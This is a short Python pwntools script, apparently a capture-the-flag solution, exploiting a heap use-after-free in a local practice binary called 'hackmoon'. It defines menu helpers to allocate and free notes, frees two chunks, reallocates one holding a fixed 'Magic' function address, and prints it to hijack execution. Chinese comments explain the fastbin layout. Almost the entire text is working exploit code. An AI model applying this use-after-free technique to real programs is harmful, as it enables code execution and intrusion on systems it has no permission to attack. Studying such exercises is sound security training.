1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import* context.log_level='debug'
p=process('./hackmoon')
def Add(size,content): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(str(content)) def Del(idx): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(idx)) def Printf(idx): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx)) //这里只能add5次 Magic=0x0804898F Add(24,'aaaa') Add(24,'bbbb') Del(0) Del(1) //fastbin表链入俩个0x8大小的chunk,两个0x18大小的chunk Add(8,p32(Magic)*2) Printf(0)
p.interactive()
|